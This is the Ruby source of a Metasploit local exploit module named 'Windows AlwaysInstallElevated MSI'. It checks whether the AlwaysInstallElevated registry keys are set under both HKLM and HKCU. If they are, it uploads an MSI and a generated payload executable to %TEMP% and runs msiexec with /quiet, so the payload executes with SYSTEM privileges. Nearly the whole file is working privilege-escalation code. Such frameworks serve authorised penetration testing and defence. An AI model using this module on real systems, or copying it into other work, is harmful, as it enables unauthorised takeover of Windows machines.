metasploit-framework/modules/exploits/windows/local/always_install_elevated.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/registry'
require 'msf/core/post/common'
require 'msf/core/post/file'

class Metasploit3 < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Exploit::EXE
  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Registry
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info, {
      'Name'          => 'Windows AlwaysInstallElevated MSI',
      'Description'    => %q{
          This module checks the AlwaysInstallElevated registry keys which dictate if
        .MSI files should be installed with elevated privileges (NT AUTHORITY\SYSTEM).

        The default MSI file is data/exploits/exec_payload.msi with the WiX source file
        under external/source/exploits/exec_payload_msi/exec_payload.wxs. This MSI simply
        executes payload.exe within the same folder.

        The MSI may not execute succesfully successive times, but may be able to get around
        this by regenerating the MSI.

        MSI can be rebuilt from the source using the WIX tool with the following commands:
        candle exec_payload.wxs
        light exec_payload.wixobj
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Ben Campbell',
          'Parvez Anwar' # discovery?/inspiration
        ],
      'Arch'          => [ ARCH_X86, ARCH_X86_64 ],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ],
      'DefaultOptions' =>
        {
          'WfsDelay' => 10,
          'EXITFUNC' => 'thread',
          'InitialAutoRunScript' => 'migrate -k -f'
        },
      'Targets'       =>
        [
          [ 'Windows', { } ],
        ],
      'References'    =>
        [
          [ 'URL', 'http://www.greyhathacker.net/?p=185' ],
          [ 'URL', 'http://msdn.microsoft.com/en-us/library/aa367561(VS.85).aspx' ],
          [ 'URL', 'http://wix.sourceforge.net'] ,
        ],
      'DisclosureDate'=> 'Mar 18 2010',
      'DefaultTarget' => 0
    }))

    register_advanced_options([
      OptString.new('LOG_FILE', [false, 'Remote path to output MSI log file to.', nil]),
      OptBool.new('QUIET', [true, 'Run the MSI with the /quiet flag.', true])
    ], self.class)
  end

  def check
    install_elevated = "AlwaysInstallElevated"
    installer = "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer"
    hkcu = "HKEY_CURRENT_USER\\#{installer}"
    hklm = "HKEY_LOCAL_MACHINE\\#{installer}"

    local_machine_value = registry_getvaldata(hklm,install_elevated)

    if local_machine_value.nil?
      print_error("#{hklm}\\#{install_elevated} does not exist or is not accessible.")
      return Msf::Exploit::CheckCode::Safe
    elsif local_machine_value == 0
      print_error("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
      return Msf::Exploit::CheckCode::Safe
    else
      print_good("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
      current_user_value = registry_getvaldata(hkcu,install_elevated)
    end

    if current_user_value.nil?
      print_error("#{hkcu}\\#{install_elevated} does not exist or is not accessible.")
      return Msf::Exploit::CheckCode::Safe
    elsif current_user_value == 0
      print_error("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
      return Msf::Exploit::CheckCode::Safe
    else
      print_good("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
      return Msf::Exploit::CheckCode::Vulnerable
    end
  end

  def exploit

    if check != Msf::Exploit::CheckCode::Vulnerable
      return
    end

    msi_filename = "exec_payload.msi" # Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi"
    msi_source = ::File.join(Msf::Config.install_root, "data", "exploits", "exec_payload.msi")

    # Upload MSI
    @msi_destination = expand_path("%TEMP%\\#{msi_filename}").strip # expand_path in Windows Shell adds a newline and has to be stripped
    print_status("Uploading the MSI to #{@msi_destination} ...")

    #upload_file - ::File.read doesn't appear to work in windows...
    source = File.open(msi_source, "rb"){|fd| fd.read(fd.stat.size) }
    write_file(@msi_destination, source)
    register_file_for_cleanup(@msi_destination)

    # Upload payload
    payload = generate_payload_exe
    @payload_destination = expand_path("%TEMP%\\payload.exe").strip
    print_status("Uploading the Payload to #{@payload_destination} ...")
    write_file(@payload_destination, payload)
    register_file_for_cleanup(@payload_destination)

    # Execute MSI
    print_status("Executing MSI...")

    if datastore['LOG_FILE'].nil?
      logging = ""
    else
      logging = "/l* #{datastore['LOG_FILE']} "
    end

    if datastore['QUIET']
      quiet = "/quiet "
    else
      quiet = ""
    end

    cmd = "msiexec.exe #{logging}#{quiet}/package #{@msi_destination}"
    vprint_status("Executing: #{cmd}")
    begin
      result = cmd_exec(cmd)
    rescue Rex::TimeoutError
      vprint_status("Execution timed out.")
    end
    vprint_status("MSI command-line feedback: #{result}")
  end
end